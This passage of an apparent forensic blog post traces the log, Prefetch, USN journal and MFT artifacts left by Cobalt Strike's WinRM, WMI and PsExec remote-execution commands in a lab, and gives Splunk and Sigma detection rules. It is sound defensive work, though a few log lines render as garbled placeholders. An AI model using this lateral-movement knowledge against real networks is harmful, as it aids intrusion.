14:24:06.871	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004891b0) from logon type=3
14:24:06.905	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004891fe) from logon type=3

Winevtx – Microsoft Windows WinRM

When executed, a successful remote WinRM connection will log an event ID 91 (Creating WSMan shell on servers) within the WinRM event log on the targeted host. Another good indicator to detect WinRM lateral movements is the event ID 6 on the source host:

Time	Description
14:24:02.586	[evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘

Winevtx – Microsoft Windows Powershell

Cobalt Strike WinRM cmdlets run over PowerShell script, so the PowerShell events ID 600, 400 and 403 are recorded and display the hosted application (C:\Windows\system32\wsmprovhost.exe -Embedding).

time	Description
14:24:04.560	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process: 9040 in AppDomain: ‘DefaultAppDomain
14:24:05.124	[evtx/powershell/600] the PowerShell provider ‘Environment’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is Started.
14:24:05.124	[evtx/powershell/600] the PowerShell provider ‘Alias’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is Started.
14:24:05.124	[evtx/powershell/600] the PowerShell provider ‘Registry’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is Started.
14:24:05.186	[evtx/powershell/600] the PowerShell provider ‘Variable’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is Started.
14:24:05.186	[evtx/powershell/600] the PowerShell provider ‘Function’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is Started.
14:24:05.186	[evtx/powershell/600] the PowerShell provider ‘FileSystem’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is Started.
14:24:05.249	[evtx/powershell/400] the PowerShell engine state hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is changed from ‘None’ to ‘Available’.
14:24:06.827	[evtx/powershell/403] the PowerShell engine state hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line » is changed from ‘Available’ to ‘Stopped’.

Prefetch

Prefetch files allow to recover the process chain created and find out that wsrmprovhost has executed the ipconfig programs.

Time	Description
14:24:01.877	[prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\WSMPROVHOST.EXE` hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
14:24:05.624	[prefetch] Prefetch [IPCONFIG.EXE] was executed – run count 8 path hints: `\WINDOWS\SYSTEM32\IPCONFIG.EXE` hash: 0x912F3D5B volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]

USN journal

As with Sysmon which showed the creation of Prefetch files (event ID 11 – File Create), the USN journal gives a good overview of what’s happened, from the wsmprovhost.exe execution to the final commands (ipconfig) and the PowerShell execution.

Time	Description
14:24:03.968	[fs/usnjrnl] file `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_3yycbqb2.1vu.psm1` CLOSE/DATA_EXTEND/FILE_CREATE
14:24:03.968	[fs/usnjrnl] file `\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_jcfqwafa.032.ps1` CLOSE/DATA_EXTEND/FILE_CREATE
14:24:04.249	[fs/usnjrnl] file `\Archive\6AB83620379FC69F80C0242105DDFFD7D98D5D9DD17FE0A3F47BE24A6453E9EF58C9464196AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF700000000000000000000000000000000.ps1` CLOSE/RENAME_NEW_NAME
14:24:04.281	[fs/usnjrnl] file `\Archive\6AB83620379FC69F80C0242105DDFFD7D98D5D9DD17FE0A3F47BE24A6453E9EF58C9464196AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF700000000000000000000000000000000.psm1` CLOSE/RENAME_NEW_NAME
14:24:05.718	[fs/usnjrnl] file `\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf` CLOSE/DATA_EXTEND/DATA_TRUNCATION
14:24:05.718	[fs/usnjrnl] file `\Windows\Prefetch\IPCONFIG.EXE-912F3D5B.pf` CLOSE/DATA_EXTEND/DATA_TRUNCATION
14:24:06.843	[fs/usnjrnl] file `\Users\alice\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\wsmprovhost.exe.log` CLOSE/DATA_EXTEND/FILE_CREATE
14:24:06.938	[fs/usnjrnl] file `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf` CLOSE/DATA_EXTEND/FILE_CREATE

MFT

As we saw earlier with Sysmon (event ID 7 – Image Loaded), in that case the MFT can be used to get information on the image loaded by the wsmprovhost.exe program. Indeed, the collection of evidence having been carried out very shortly after the execution, the DLLs accessed by the wsmprovhost.exe program have not (yet) been accessed by other programs, and the timestamps present in the MFT coincide with the binary access.

Time	Description
14:24:01.859	[fs/mft][.a..] file `\Windows\SysWOW64\wsmprovhost.exe`
14:24:01.921	[fs/mft][.a..] file `\Windows\System32\WsmSvc.dll`
14:24:01.999	[fs/mft][.a..] file `\Windows\System32\wsmplpxy.dll`
14:24:04.201	[fs/mft][.a..] file `\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll`
14:24:06.843	[fs/mft][..c.] file `wsmprovhost.exe.log`
14:24:06.938	[fs/mft][.a..] file `\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf`

Conclusion

Reliable artifacts can lead us to the conclusion that WinRM has been used to execute remote commands using Cobalt Strike on the victim workstation:

A PowerShell execution (Microsoft Windows Powershell, event ID 600, 400, 403) host by the application C:\Windows\system32\wsmprovhost.exe -Embedding;
A WinRM connection received (Microsoft Windows WinRM, event ID 91);
Execution traces of the \Windows\SysWOW64\wsmprovhost.exe binary, visible in the MFT, the USN journal or even the Prefetch files.

These events can be accompanied by network authentication as we have seen with the logon type 3 of the user « CORP\alice », as well as other events related to actions performed using WinRM. In our case, the execution of the ipconfig.exe command generated openings of TCP connections as well as the creation/modifications of the Prefetch files.

Detection Rule Example

Splunk queries

To make the detection rule query, for each span time of 15 seconds, we can:

Search for the events ID 91 and event ID 400 where the PowerShell host application name contains the strings wsmprovhost.exe.
Count distinctly the number of event ID (this avoid to trigger the rule if two events with the same « eid » occur).

host="*" index="*" parser=winevtx eid=91 OR (eid=400 AND  host_application="*wsmprovhost.exe*")
| bin span=15s _time
| eventstats distinct_count(eid) as dis_count by _time
| where dis_count==2
| table _time eid report_desc dis_count

Both tests are displayed successfully by this requests:

| _time    | report_desc                                                                                                                                                                            | dis_count |
| 14:24:00 | **[evtx/powershell/400]** the PowerShell engine state hosted by application 'C:\Windows\system32\wsmprovhost.exe -Embedding' with command line ''is changed from 'None' to 'Available'. | 2         |
| 14:24:00 | **[evtx/winrm/91]** Creating WSMan shell on server with ResourceURI: 'http://schemas.microsoft.com/powershell/Microsoft.PowerShell'                                                        | 2         |
| 14:26:00 | **[evtx/powershell/400]** the PowerShell engine state hosted by application 'C:\Windows\system32\wsmprovhost.exe -Embedding' with command line ''is changed from 'None' to 'Available'. | 2         |
| 14:26:00 | **[evtx/winrm/91]** Creating WSMan shell on server with ResourceURI: 'http://schemas.microsoft.com/powershell/Microsoft.PowerShell'                                                        | 2         |

Another way to do it, is by using the Splunk transaction command. This command allow to find transaction that meet various constraints. In our example, the first event transaction must contains the event ID 91, the last event must contains the event ID 400 and the events in the transaction must span less than 5 seconds.

host="*" index="*" sourcetype="lexhunt_json" eid=91 OR (eid=400 AND  host_application="*wsmprovhost.exe*")
| transaction parser startswith=eid=91 endswith=eid=400 maxspan=5s
| table _time report_desc duration
| sort _time

| _time        | report_desc                                                                                                                                                                                                                                                                                                                      | duration |
| ----         | -----                                                                                                                                                                                                                                                                                                                            | ------   |
| 14:24:02.586 | **[evtx/winrm/91]** Creating WSMan shell on server with ResourceURI: 'http://schemas.microsoft.com/powershell/Microsoft.PowerShell'.  **[evtx/powershell/400]** the PowerShell engine state hosted by application 'C:\\Windows\\system32\\wsmprovhost.exe -Embedding' with command line ''is changed from 'None' to 'Available'. | 2.663    |
| 14:26:02.828 | **[evtx/winrm/91]** Creating WSMan shell on server with ResourceURI: 'http://schemas.microsoft.com/powershell/Microsoft.PowerShell'.  **[evtx/powershell/400]** the PowerShell engine state hosted by application 'C:\\Windows\\system32\\wsmprovhost.exe -Embedding' with command line ''is changed from 'None' to 'Available'. | 1.234    |

Sigma rules

A Sigma rule already exists for this event (sigma/posh_pc_remote_powershell_session.yml at master · SigmaHQ/sigma).

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml
Parsing Sigma rules  [####################################]  100%
HostName="ServerRemoteHost" HostApplication="*wsmprovhost.exe*"

Cobalt Strike remote-exec wmi

The Cobalt Strike remote-exec wmi command allows the user to execute a command using WMI on the remote host without creating a persistent session with a Beacon. For this test, the command executed is calc.exe.

Sysmon Events

Just like in the case above, we start by observing what Sysmon logs so that we can later compare with extracted artifacts. The Sysmon events below have been filtered to the most useful.

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier.

The process chain created by the remote-exec wmi commands is WmiPrvSE.exe -> <cmd>. In both of our tests, the program OpenWith.exe is also triggered a moment after by the parent process svchost.exe.

Time	Description
14:28:02.523	[evtx/sysmon/1] process created with command `calc.exe` (id 8180) by user ‘CORP\alice’ via `C:\Windows\System32\wbem\WmiPrvSE.exe` (id 10652)
14:28:03.017	[evtx/sysmon/1] process created with command `C:\Windows\system32\OpenWith.exe -Embedding` (id 8624) by user ‘CORP\alice’ via `C:\Windows\System32\svchost.exe` (id 728)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.

By default, WMI uses a randomly selected dynamic port range for TCP between 49152 and 65535.

Time	Description
14:28:03.331	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54136) to host ‘-‘ (192.168.56.117:135) (pid=832)
14:28:03.332	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54138) to host ‘-‘ (192.168.56.117:49799) (pid=1760)
14:28:03.583	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.117:49800) to host ‘-‘ (192.168.56.119:135) (pid=604)

Event ID 11 – File Create

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.

The only interesting files created on the file system are the Preftech files.

Time	Description
14:28:03.430	[evtx/sysmon/11] process `C:\Windows\system32\svchost.exe` (pid=1860) created file `C:\Windows\Prefetch\CALC.EXE-77FDF17F.pf` with user ‘NT AUTHORITY\SYSTEM’
14:28:03.435	[evtx/sysmon/11] process `C:\Windows\system32\svchost.exe` (pid=1860) created file `C:\Windows\Prefetch\OPENWITH.EXE-5C93E816.pf` with user ‘NT AUTHORITY\SYSTEM’

Findings

Winevtx – Microsoft-Windows-Security-Auditing

Without the audit policies enabled, there are not much events generated. However, in both tests, Windows recorded 4 short connections (event ID 4624) with the logon type ‘3’ (Network) from the compromised account « CORP.LOCAL\alice ». If correlated, this behavior may help during the investigation to support a hypothesis.

Time	Description
14:28:02.083	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d811f): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:28:02.084	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000004d811f) with ‘-‘
14:28:02.232	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d8957): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:28:02.233	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000004d8957) with ‘-‘
14:28:02.244	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d89bb): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:28:02.248	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000004d89bb) with ‘-‘
14:28:02.481	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d8bb6): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:28:02.481	[evtx/sec/4624] user ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘DC01’) (logon_id=0x00000000004d8bb6) with ‘-‘
14:28:17.079	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d811f) from logon type=3
14:28:41.727	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d8957) from logon type=3
14:28:41.728	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d8bb6) from logon type=3
14:28:41.728	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004d89bb) from logon type=3

Winevtx – DCOM

Because WMI uses DCOM to handle remote calls, related events may be generated. In our case we get an error about the permission for the COM server with CLSID {3480A401-BDE9-4407-BC02-798A866AC051} (ShellServiceHostBrokerProvider). This error may be specific to the labs, even if the configuration is almost by default.

time	Description
14:28:02.595	[evtx/dcom/10016] the application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID {3480A401-BDE9-4407-BC02-798A866AC051} and APPID {30AD8C8E-AE85-42FA-B9E8-7E99E3DFBFC5} to the user ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) from address LocalHost (Using LRPC) running in the application container Unavailable SID Unavailable
14:28:03.342	[evtx/dcom/10016] the application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID {3480A401-BDE9-4407-BC02-798A866AC051} and APPID {30AD8C8E-AE85-42FA-B9E8-7E99E3DFBFC5} to the user ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) from address LocalHost (Using LRPC) running in the application container Unavailable SID Unavailable
14:28:03.359	[evtx/dcom/10016] the application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID {3480A401-BDE9-4407-BC02-798A866AC051} and APPID {30AD8C8E-AE85-42FA-B9E8-7E99E3DFBFC5} to the user ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) from address LocalHost (Using LRPC) running in the application container Unavailable SID Unavailable

Prefetch files, USNjrnl and MFT

The Prefetch, USNjrnl and MFT artifacts shows that the calc.exe and openwith.exe programs have been executed.

Time	Description
14:28:02.530	[prefetch] Prefetch [CALC.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\CALC.EXE` hash: 0x77FDF17F volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
14:28:03.013	[prefetch] Prefetch [OPENWITH.EXE] was executed – run count 3 path hints: `\WINDOWS\SYSTEM32\OPENWITH.EXE` hash: 0x5C93E816 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
14:28:03.326	[fs/mft][.a..] file `\Windows\System32\en-US\OpenWith.exe.mui` ($STANDARD_INFORMATION), MFT:46904-1, PARENT:
14:28:03.373	[fs/mft][…b] file `\Windows\Prefetch\CALC.EXE-77FDF17F.pf` ($STANDARD_INFORMATION), MFT:108924-1, PARENT:
14:28:03.373	[fs/mft][..c.] file `CALC.EXE-77FDF17F.pf` ($FILE_NAME), MFT:108924-1, PARENT: 93711-2
14:28:03.373	[fs/mft][m…] file `CALC.EXE-77FDF17F.pf` ($FILE_NAME), MFT:108924-1, PARENT: 93711-2
14:28:03.373	[fs/mft][…b] file `CALC.EXE-77FDF17F.pf` ($FILE_NAME), MFT:108924-1, PARENT: 93711-2
14:28:03.373	[fs/mft][.a..] file `CALC.EXE-77FDF17F.pf` ($FILE_NAME), MFT:108924-1, PARENT: 93711-2
14:28:03.423	[fs/usnjrnl] file `\Windows\Prefetch\CALC.EXE-77FDF17F.pf` FILE_CREATE
14:28:03.434	[fs/usnjrnl] file ¨C119C CLOSE/DATA_EXTEND/DATA_TRUNCATION

Conclusion

This is probably the hardest Cobalt Strike command to detect because not many events are generated. The most accurate artifacts to know that the command remote-exec wmi has been executed are:

The openwith.exe observable among Prefetch files;
Many short successful logons (Microsoft Windows Security Auditing, event ID 4624) with logon type ‘3’ (Network);
Some DCOM events, such as warnings (DCOM, event ID 10016).

Detection Rule Example

Splunk queries

To make the detection rule query, for each span time of 10 seconds, we can:

Search 1 event where the Prefetch executable name is openwith.exe
Search 4 logon connection (with logon type 3).

We cannot reuse the previous query because Prefetch events has no field « eid ». The first attempt was this query:

host="*" index="*" (parser=prefetch AND executable="OPENWITH.EXE") OR (parser=winevtx AND eid=4624 AND logon_type=3)
| bin span=10s _time
| eventstats count by _time
| where count&gt;=5
| table _time parser report_desc count
| sort _time

But it generates multiple false positives because 5 events with eid 4624 may occur in 10 seconds without the needed Prefetch events:

| _time    | parser   | report_desc                                                                                                                                                                                                      | count |
| 14:26:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '-' ('-') (logon_id=0x00000000004ae65c) with '-'                                       | 5     |
| 14:26:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '-' ('-') (logon_id=0x00000000004ae638) with '-'                                       | 5     |
| 14:26:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '-' ('-') (logon_id=0x00000000004ad37e) with '-'                                       | 5     |
| 14:26:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '-' ('-') (logon_id=0x00000000004acafc) with '-'                                       | 5     |
| 14:26:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '-' ('-') (logon_id=0x00000000004abf4b) with '-'                                       | 5     |
| 14:28:00 | prefetch | **[prefetch]** Prefetch [OPENWITH.EXE] was executed - run count 3 path hints: \WINDOWS\SYSTEM32\OPENWITH.EXE hash: 0x5C93E816 volume: 1 [serial number: 0x228095FD  device path: \VOLUME{01d80e8a80662822-228095fd}] | 5     |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('DC01') (logon_id=0x00000000004d8bb6) with '-'                             | 5     |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000004d89bb) with '-'                          | 5     |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000004d8957) with '-'                          | 5     |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000004d811f) with '-'                          | 5     |

So, we need to count distinctly by parser as well:

host="*" index="*" (parser=prefetch AND executable="OPENWITH.EXE") OR (parser=winevtx AND eid=4624 AND logon_type=3)
| bin span=10s _time
| eventstats count by _time
| eventstats distinct_count(parser) as parser_dis_count by _time
| where parser_dis_count &gt; 1 AND count &gt;= 4
| table _time parser report_desc count parser_dis_count
| sort _time

The results:

| _time    | parser   | report_desc                                                                                                                                                                                                      | count | parser_dis_count |
| 14:28:00 | prefetch | **[prefetch]** Prefetch [OPENWITH.EXE] was executed - run count 3 path hints: \WINDOWS\SYSTEM32\OPENWITH.EXE hash: 0x5C93E816 volume: 1 [serial number: 0x228095FD  device path: \VOLUME{01d80e8a80662822-228095fd}] | 5     | 2                |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('DC01') (logon_id=0x00000000004d8bb6) with '-'                             | 5     | 2                |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000004d89bb) with '-'                          | 5     | 2                |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000004d8957) with '-'                          | 5     | 2                |
| 14:28:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x00000000004d811f) with '-'                          | 5     | 2                |
| 14:30:00 | prefetch | **[prefetch]** Prefetch [OPENWITH.EXE] was executed - run count 3 path hints: \WINDOWS\SYSTEM32\OPENWITH.EXE hash: 0x5C93E816 volume: 1 [serial number: 0x228095FD  device path: \VOLUME{01d80e8a80662822-228095fd}] | 5     | 2                |
| 14:30:00 | winevtx  | **[evtx/sec/4624]** user 'CORP\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('DC01') (logon_id=0x0000000000598fa4) with '-'                             | 5     | 2                |
| 14:30:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x0000000000598ee4) with '-'                          | 5     | 2                |
| 14:30:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x0000000000598ed0) with '-'                          | 5     | 2                |
| 14:30:00 | winevtx  | **[evtx/sec/4624]** user 'CORP.LOCAL\alice' (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from '192.168.56.119' ('-') (logon_id=0x0000000000598e96) with '-'                          | 5     | 2                |

Other rules can be created by adding the DCOM events.

Cobalt Strike remote-exec psexec

The Cobalt Strike remote-exec psexec command allows the user to execute a command using PsExec on the remote host without creating a persistent session with a Beacon. It creates and start a service remotely with random Service Name¹ and then passed on command as Service File Name. For this test, the command executed is notepad.exe.

Sysmon Events

One last time, as in the two previous cases, the Sysmon events are recorded in order to serve as elements of comparison with the other artifacts collected on the workstation. The Sysmon events below has been filtered to the most useful.

Event ID 1 – Process Creation

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier.

Cobalt Strike creates a service to run the arbitrary command with the SYSTEM rights so the process chain is services.exe -> notepad.exe.

Time	Description
14:32:05.936	[evtx/sysmon/1] process created with command `notepad.exe` (id 8516) by user ‘NT AUTHORITY\SYSTEM’ via `C:\Windows\System32\services.exe` (id 596)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.

Two connections are recorded, one to the TCP port 135 and the second to a random TCP port.

Time	Description
14:32:06.749	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54206) to host ‘-‘ (192.168.56.117:135) (pid=832)
14:32:06.750	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54207) to host ‘-‘ (192.168.56.117:49692) (pid=596)

Event ID 11 – File Create

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.

Because the process services.exe is already running, only one Prefetch file is generated.

Time	Description
14:32:16.064	[evtx/sysmon/11] process `C:\Windows\system32\svchost.exe` (pid=1860) created file `C:\Windows\Prefetch\NOTEPAD.EXE-D8414F97.pf` with user ‘NT AUTHORITY\SYSTEM’

Event ID 13 – Registry Value Set

Registry key and value create and delete operations map to this event type.

Cobalt Strike creates a service to run the arbitrary command, so a registry key with a random name is created under HKLM\System\CurrentControlSet\Services\d8041e9 by the Services.exe process and the ImagePath is set to the arbitrary commands to execute.

Time	Description
14:32:05.923	[evtx/sysmon/13] registry event : user ‘NT AUTHORITY\SYSTEM’ process `C:\Windows\system32\services.exe` (pid 596) has set `HKLM\System\CurrentControlSet\Services\d8041e9\ErrorControl` value to DWORD `(0x00000000)`
14:32:05.923	[evtx/sysmon/13] registry event : user ‘NT AUTHORITY\SYSTEM’ process `C:\Windows\system32\services.exe` (pid 596) has set `HKLM\System\CurrentControlSet\Services\d8041e9\Start` value to DWORD `(0x00000003)`
14:32:05.923	[evtx/sysmon/13] registry event : user ‘NT AUTHORITY\SYSTEM’ process `C:\Windows\system32\services.exe` (pid 596) has set `HKLM\System\CurrentControlSet\Services\d8041e9\Type` value to DWORD `(0x00000010)`
14:32:05.925	[evtx/sysmon/13] registry event : user ‘NT AUTHORITY\SYSTEM’ process ¨C147C (pid 596) has set ¨C148C value to ¨C149C
14:32:05.925	[evtx/sysmon/13] registry event : user ‘NT AUTHORITY\SYSTEM’ process ¨C150C (pid 596) has set ¨C151C value to ¨C152C

Findings

Winevtx – Microsoft Windows Security Auditing

Without the audit policies enabled, there are not much events generated. Only one successful logons (event ID 4624) is recorded, with the logon type ‘3’ (Network) from the compromised account « CORP.LOCAL\alice ». If correlate, this behavior may help during the investigation to support an hypothesis.

Time	Description
14:32:05.736	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eda88): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:32:05.819	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005eda88) with ‘-‘
14:36:11.728	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eda88) from logon type=3

Winevtx – Service Control Manager

In that particular case, the most useful Windows logs generated is the event ID 7045 (a service randomly named was installed by user ‘LocalSystem’). In this case, we choose to run notpad.exe, but it would be interesting to monitor services.exe child process for malicious behavior like spawning system shells using cmd.exe and powershell.exe or some discovery behavior like whoami.exe, systeminfo.exe, net.exe, etc.

Time	Description
14:32:05.920	[evtx/sys/scm/7045] service ‘d8041e9’ (`notepad.exe`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)

Prefetch and USNjrnl

The Prefetch files shows only the binary called by services.exe, and the only activity recorded by the USN journal is access to the Prefetch file.

Time	Description
14:32:05.950	[prefetch] Prefetch [NOTEPAD.EXE] was executed – run count 4 path hints: `\WINDOWS\SYSTEM32\NOTEPAD.EXE` hash: `0xD8414F97` volume: 1 [serial number: `0x228095FD` device path: `\VOLUME{01d80e8a80662822-228095fd}`]
14:32:16.061	[fs/usnjrnl] file `\Windows\Prefetch\NOTEPAD.EXE-D8414F97.pf` CLOSE/DATA_EXTEND/DATA_TRUNCATION

Conclusion

The use of remote-exec psexec causes the installation of a randomly named service on the targeted host, which is particularly visible in the logs of the Service Control Manager: the 7045 event records the creation of the service as well as the name of the child process which is executed. Other artifacts may be correlated with the creation of this service, in particular the creation of Prefetch files associated with the child process, or the successful logon (event ID 4624) of the account used to create the malicious service.

Detection Rule Example

Splunk queries

